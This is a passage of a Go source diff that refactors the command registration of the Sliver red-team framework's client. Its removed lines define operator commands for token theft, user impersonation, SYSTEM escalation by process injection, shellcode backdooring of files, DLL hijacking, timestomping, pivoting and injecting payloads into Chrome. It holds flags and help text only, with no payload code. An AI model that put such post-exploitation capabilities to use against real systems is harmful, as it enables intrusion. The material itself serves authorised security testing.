consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(runAsCmd) - Flags("", false, runAsCmd, func(f *pflag.FlagSet) { - f.StringP("username", "u", "", "user to impersonate") - f.StringP("process", "p", "", "process to start") - f.StringP("args", "a", "", "arguments for the process") - f.StringP("domain", "d", "", "domain of the user") - f.StringP("password", "P", "", "password of the user") - f.BoolP("show-window", "s", false, ` - Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`) - f.BoolP("net-only", "n", false, "use ") - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - - impersonateCmd := &cobra.Command{ - Use: consts.ImpersonateStr, - Short: "Impersonate a logged in user.", - Long: help.GetHelpFor([]string{consts.ImpersonateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - privilege.ImpersonateCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(impersonateCmd) - Flags("", false, impersonateCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - carapace.Gen(impersonateCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the user account to impersonate")) - - revToSelfCmd := &cobra.Command{ - Use: consts.RevToSelfStr, - Short: "Revert to self: lose stolen Windows token", - Long: help.GetHelpFor([]string{consts.RevToSelfStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.RevToSelfCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(revToSelfCmd) - Flags("", false, revToSelfCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - - getSystemCmd := &cobra.Command{ - Use: consts.GetSystemStr, - Short: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", - Long: help.GetHelpFor([]string{consts.GetSystemStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.GetSystemCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(getSystemCmd) - Flags("", false, getSystemCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", "spoolsv.exe", "SYSTEM process to inject into") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - makeTokenCmd := &cobra.Command{ - Use: consts.MakeTokenStr, - Short: "Create a new Logon Session with the specified credentials", - Long: help.GetHelpFor([]string{consts.MakeTokenStr}), - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - privilege.MakeTokenCmd(cmd, con, args) - }, - } - sliver.AddCommand(makeTokenCmd) - Flags("", false, makeTokenCmd, func(f *pflag.FlagSet) { - f.StringP("username", "u", "", "username of the user to impersonate") - f.StringP("password", "p", "", "password of the user to impersonate") - f.StringP("domain", "d", "", "domain of the user to impersonate") - f.StringP("logon-type", "T", "LOGON_NEW_CREDENTIALS", "logon type to use") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - chmodCmd := &cobra.Command{ - Use: consts.ChmodStr, - Short: "Change permissions on a file or directory", - Long: help.GetHelpFor([]string{consts.ChmodStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChmodCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chmodCmd) - Flags("", false, chmodCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively change permissions on files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chmodCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change mod perms"), - carapace.ActionValues().Usage("file permissions in octal (eg. 0644)"), + // [ Filesystem ] + bind(consts.FilesystemHelpGroup, + filesystem.Commands, ) - chownCmd := &cobra.Command{ - Use: consts.ChownStr, - Short: "Change owner on a file or directory", - Long: help.GetHelpFor([]string{consts.ChownStr}), - Args: cobra.ExactArgs(3), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChownCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chownCmd) - Flags("", false, chownCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively change permissions on files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chownCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change owner for"), - carapace.ActionValues().Usage("user ID"), - carapace.ActionValues().Usage("group ID (required)"), + // [ Network tools ] + bind(consts.NetworkHelpGroup, + jobs.SliverCommands, + network.Commands, + rportfwd.Commands, + portfwd.Commands, + socks.Commands, + wireguard.SliverCommands, ) - chtimesCmd := &cobra.Command{ - Use: consts.ChtimesStr, - Short: "Change access and modification times on a file (timestomp)", - Long: help.GetHelpFor([]string{consts.ChtimesStr}), - Args: cobra.ExactArgs(3), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChtimesCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chtimesCmd) - Flags("", false, chtimesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chtimesCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change access timestamps"), - carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"), - carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"), + // [ Execution ] + bind(consts.ExecutionHelpGroup, + shell.Commands, + exec.Commands, + backdoor.Commands, + dllhijack.Commands, + cursed.Commands, + wasm.Commands, ) - // [ Screenshot ] --------------------------------------------- - - screenshotCmd := &cobra.Command{ - Use: consts.ScreenshotStr, - Short: "Take a screenshot", - Long: help.GetHelpFor([]string{consts.ScreenshotStr}), - Run: func(cmd *cobra.Command, args []string) { - screenshot.ScreenshotCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(screenshotCmd) - Flags("", false, screenshotCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save to file (will overwrite if exists)") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(screenshotCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles() - }) - - // [ Backdoor ] --------------------------------------------- - - backdoorCmd := &cobra.Command{ - Use: consts.BackdoorStr, - Short: "Infect a remote file with a sliver shellcode", - Long: help.GetHelpFor([]string{consts.BackdoorStr}), - Args: cobra.ExactArgs(1), - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - backdoor.BackdoorCmd(cmd, con, args) - }, - } - sliver.AddCommand(backdoorCmd) - Flags("", false, backdoorCmd, func(f *pflag.FlagSet) { - f.StringP("profile", "p", "", "profile to use for service binary") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(screenshotCmd, func(comp *carapace.ActionMap) { - (*comp)["profile"] = generate.ProfileNameCompleter(con) - }) - carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) - - // // [ DLL Hijack ] ----------------------------------------------------------------- - - dllhijackCmd := &cobra.Command{ - Use: consts.DLLHijackStr, - Short: "Plant a DLL for a hijack scenario", - Long: help.GetHelpFor([]string{consts.DLLHijackStr}), - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - dllhijack.DllHijackCmd(cmd, con, args) - }, - } - sliver.AddCommand(dllhijackCmd) - Flags("", false, dllhijackCmd, func(f *pflag.FlagSet) { - f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system") - f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system") - f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack") - f.StringP("profile", "p", "", "Profile name to use as a base DLL") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(dllhijackCmd, func(comp *carapace.ActionMap) { - (*comp)["reference-file"] = carapace.ActionFiles() - (*comp)["file"] = carapace.ActionFiles() - (*comp)["profile"] = generate.ProfileNameCompleter(con) - }) - carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system")) - - // [ Get Privs ] ----------------------------------------------------------------- - getprivsCmd := &cobra.Command{ - Use: consts.GetPrivsStr, - Short: "Get current privileges (Windows only)", - Long: help.GetHelpFor([]string{consts.GetPrivsStr}), - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - privilege.GetPrivsCmd(cmd, con, args) - }, - } - sliver.AddCommand(getprivsCmd) - Flags("", false, getprivsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - // - - // [ Environment ] --------------------------------------------- - - envCmd := &cobra.Command{ - Use: consts.EnvStr, - Short: "List environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvGetCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(envCmd) - Flags("", true, envCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)")) - - envSetCmd := &cobra.Command{ - Use: consts.SetStr, - Short: "Set environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvSetCmd(cmd, con, args) - }, - } - envCmd.AddCommand(envSetCmd) - carapace.Gen(envSetCmd).PositionalCompletion( - carapace.ActionValues().Usage("environment variable name"), - carapace.ActionValues().Usage("value to assign"), + // [ Privileges ] + bind(consts.PrivilegesHelpGroup, + privilege.Commands, ) - envUnsetCmd := &cobra.Command{ - Use: consts.UnsetStr, - Short: "Clear environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvUnsetCmd(cmd, con, args) - }, - } - envCmd.AddCommand(envUnsetCmd) - carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name")) - - // [ Registry ] --------------------------------------------- - - registryCmd := &cobra.Command{ - Use: consts.RegistryStr, - Short: "Windows registry operations", - Long: help.GetHelpFor([]string{consts.RegistryStr}), - GroupID: consts.InfoHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(registryCmd) - Flags("registry", true, registryCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - registryReadCmd := &cobra.Command{ - Use: consts.RegistryReadStr, - Short: "Read values from the Windows registry", - Long: help.GetHelpFor([]string{consts.RegistryReadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegReadCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryReadCmd) - Flags("", false, registryReadCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to read values from") - }) - carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryWriteCmd := &cobra.Command{ - Use: consts.RegistryWriteStr, - Short: "Write values to the Windows registry", - Long: help.GetHelpFor([]string{consts.RegistryWriteStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - registry.RegWriteCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryWriteCmd) - Flags("", false, registryWriteCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - f.StringP("type", "T", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") - f.StringP("path", "p", "", "path to the binary file to write") - }) - carapace.Gen(registryWriteCmd).PositionalCompletion( - carapace.ActionValues().Usage("registry path"), - carapace.ActionValues().Usage("value to write"), + // [ Processes ] + bind(consts.ProcessHelpGroup, + processes.Commands, ) - registryCreateKeyCmd := &cobra.Command{ - Use: consts.RegistryCreateKeyStr, - Short: "Create a registry key", - Long: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegCreateKeyCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryCreateKeyCmd) - Flags("", false, registryCreateKeyCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryCreateKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryDeleteKeyCmd := &cobra.Command{ - Use: consts.RegistryDeleteKeyStr, - Short: "Remove a registry key", - Long: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegDeleteKeyCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryDeleteKeyCmd) - Flags("", false, registryDeleteKeyCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to remove value from") - }) - carapace.Gen(registryDeleteKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryListSubCmd := &cobra.Command{ - Use: consts.RegistryListSubStr, - Short: "List the sub keys under a registry key", - Long: help.GetHelpFor([]string{consts.RegistryListSubStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegListSubKeysCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryListSubCmd) - Flags("", false, registryListSubCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryListSubCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryListValuesCmd := &cobra.Command{ - Use: consts.RegistryListValuesStr, - Short: "List the values for a registry key", - Long: help.GetHelpFor([]string{consts.RegistryListValuesStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegListValuesCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryListValuesCmd) - Flags("", false, registryListValuesCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryListValuesCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - // [ Reverse Port Forwarding ] -------------------------------------------------------------- - - rportfwdCmd := &cobra.Command{ - Use: consts.RportfwdStr, - Short: "reverse port forwardings", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.RportFwdListenersCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(rportfwdCmd) - Flags("", true, rportfwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - rportfwdAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add and start reverse port forwarding", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.StartRportFwdListenerCmd(cmd, con, args) - }, - } - rportfwdCmd.AddCommand(rportfwdAddCmd) - Flags("", false, rportfwdAddCmd, func(f *pflag.FlagSet) { - f.StringP("remote", "r", "", "remote address : connection is forwarded to") - f.StringP("bind", "b", "", "bind address : for implants to listen on") - }) - FlagComps(rportfwdAddCmd, func(comp *carapace.ActionMap) { - (*comp)["remote"] = completers.ClientInterfacesCompleter() - }) - - rportfwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Stop and remove reverse port forwarding", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.StopRportFwdListenerCmd(cmd, con, args) - }, - } - rportfwdCmd.AddCommand(rportfwdRmCmd) - Flags("", false, rportfwdRmCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(rportfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = rportfwd.PortfwdIDCompleter(con) - }) - - // [ Pivots ] -------------------------------------------------------------- + // [ Aliases ] + bind(consts.AliasHelpGroup) - pivotsCmd := &cobra.Command{ - Use: consts.PivotsStr, - Short: "List pivots for active session", - Long: help.GetHelpFor([]string{consts.PivotsStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotsCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(pivotsCmd) - Flags("", true, pivotsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - namedPipeCmd := &cobra.Command{ - Use: consts.NamedPipeStr, - Short: "Start a named pipe pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StartNamedPipeListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(namedPipeCmd) - Flags("", false, namedPipeCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") - f.BoolP("allow-all", "a", false, "allow all users to connect") - }) - - tcpListenerCmd := &cobra.Command{ - Use: consts.TCPListenerStr, - Short: "Start a TCP pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StartTCPListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(tcpListenerCmd) - Flags("", false, tcpListenerCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "remote interface to bind pivot listener") - f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") - }) - - pivotStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StopPivotListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(pivotStopCmd) - Flags("", false, pivotStopCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of the pivot listener to stop") - }) - FlagComps(pivotStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = pivots.PivotIDCompleter(con) - }) - - pivotDetailsCmd := &cobra.Command{ - Use: consts.DetailsStr, - Short: "Get details of a pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotDetailsCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(pivotDetailsCmd) - Flags("", false, pivotDetailsCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of the pivot listener to get details for") - }) - FlagComps(pivotDetailsCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = pivots.PivotIDCompleter(con) - }) - - graphCmd := &cobra.Command{ - Use: consts.GraphStr, - Short: "Get pivot listeners graph", - Long: help.GetHelpFor([]string{consts.PivotsStr, "graph"}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotsGraphCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(graphCmd) - - // [ Portfwd ] -------------------------------------------------------------- - - portfwdCmd := &cobra.Command{ - Use: consts.PortfwdStr, - Short: "In-band TCP port forwarding", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(portfwdCmd) - Flags("", true, portfwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - addCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Create a new port forwarding tunnel", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdAddCmd(cmd, con, args) - }, - } - portfwdCmd.AddCommand(addCmd) - Flags("", false, addCmd, func(f *pflag.FlagSet) { - f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") - f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") - }) - FlagComps(addCmd, func(comp *carapace.ActionMap) { - (*comp)["bind"] = completers.ClientInterfacesCompleter() - }) - - portfwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a port forwarding tunnel", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdRmCmd(cmd, con, args) - }, - } - portfwdCmd.AddCommand(portfwdRmCmd) - Flags("", false, portfwdRmCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(portfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = portfwd.PortfwdIDCompleter(con) - }) - - // [ Socks ] -------------------------------------------------------------- - - socksCmd := &cobra.Command{ - Use: consts.Socks5Str, - Short: "In-band SOCKS5 Proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(socksCmd) - Flags("", true, socksCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - socksStartCmd := &cobra.Command{ - Use: consts.StartStr, - Short: "Start an in-band SOCKS5 proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksStartCmd(cmd, con, args) - }, - } - socksCmd.AddCommand(socksStartCmd) - Flags("", false, socksStartCmd, func(f *pflag.FlagSet) { - f.StringP("host", "H", "127.0.0.1", "Bind a Socks5 Host") - f.StringP("port", "P", "1081", "Bind a Socks5 Port") - f.StringP("user", "u", "", "socks5 auth username (will generate random password)") - }) - FlagComps(socksStartCmd, func(comp *carapace.ActionMap) { - (*comp)["host"] = completers.ClientInterfacesCompleter() - }) - - socksStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a SOCKS5 proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksStopCmd(cmd, con, args) - }, - } - socksCmd.AddCommand(socksStopCmd) - Flags("", false, socksStopCmd, func(f *pflag.FlagSet) { - f.Uint64P("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(socksStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = socks.SocksIDCompleter(con) - }) - - // [ WireGuard ] -------------------------------------------------------------- - - wgPortFwdCmd := &cobra.Command{ - Use: consts.WgPortFwdStr, - Short: "List ports forwarded by the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdListCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - Annotations: hideCommand(consts.WireguardCmdsFilter), - } - Flags("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(wgPortFwdCmd) - - wgPortFwdAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a port forward from the WireGuard tun interface to a host on the target network", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdAddCmd(cmd, con, args) - }, - } - Flags("wg portforward", false, wgPortFwdAddCmd, func(f *pflag.FlagSet) { - f.Int32P("bind", "b", 1080, "port to listen on the WireGuard tun interface") - f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") - }) - wgPortFwdCmd.AddCommand(wgPortFwdAddCmd) - - wgPortFwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a port forward from the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdRmCmd(cmd, con, args) - }, - } - wgPortFwdCmd.AddCommand(wgPortFwdRmCmd) - - carapace.Gen(wgPortFwdRmCmd).PositionalCompletion(wireguard.PortfwdIDCompleter(con).Usage("forwarder ID")) - - wgSocksCmd := &cobra.Command{ - Use: consts.WgSocksStr, - Short: "List socks servers listening on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksListCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - Annotations: hideCommand(consts.WireguardCmdsFilter), - } - sliver.AddCommand(wgSocksCmd) - Flags("wg socks", true, wgSocksCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) + // [ Extensions ] + bind(consts.ExtensionHelpGroup) - wgSocksStartCmd := &cobra.Command{ - Use: consts.StartStr, - Short: "Start a socks5 listener on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StartStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksStartCmd(cmd, con, args) - }, - } - wgSocksCmd.AddCommand(wgSocksStartCmd) - Flags("wg socks", false, wgSocksStartCmd, func(f *pflag.FlagSet) { - f.Int32P("bind", "b", 3090, "port to listen on the WireGuard tun interface") - }) - - wgSocksStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a socks5 listener on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksStopCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - wgSocksCmd.AddCommand(wgSocksStopCmd) - carapace.Gen(wgSocksStopCmd).PositionalCompletion(wireguard.SocksIDCompleter(con).Usage("Socks server ID")) - - // [ Curse Commands ] ------------------------------------------------------------ - - cursedCmd := &cobra.Command{ - Use: consts.Cursed, - Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", - Long: help.GetHelpFor([]string{consts.Cursed}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedCmd(cmd, con, args) - }, - } - sliver.AddCommand(cursedCmd) - Flags("", true, cursedCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - cursedRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a Curse from a process", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedRmCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedRmCmd) - Flags("", false, cursedRmCmd, func(f *pflag.FlagSet) { - f.BoolP("kill", "k", false, "kill the process after removing the curse") - }) - carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop")) - - cursedConsoleCmd := &cobra.Command{ - Use: consts.CursedConsole, - Short: "Start a JavaScript console connected to a debug target", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedConsoleCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedConsoleCmd) - Flags("", false, cursedConsoleCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`") - }) - - cursedChromeCmd := &cobra.Command{ - Use: consts.CursedChrome, - Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedChromeCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedChromeCmd) - Flags("", false, cursedChromeCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - f.BoolP("restore", "R", true, "restore the user's session after process termination") - f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)") - f.StringP("user-data", "u", "", "user data directory (blank string = auto)") - f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") - f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") - f.BoolP("headless", "H", false, "start browser process in headless mode") - }) - FlagComps(cursedChromeCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") - }) - 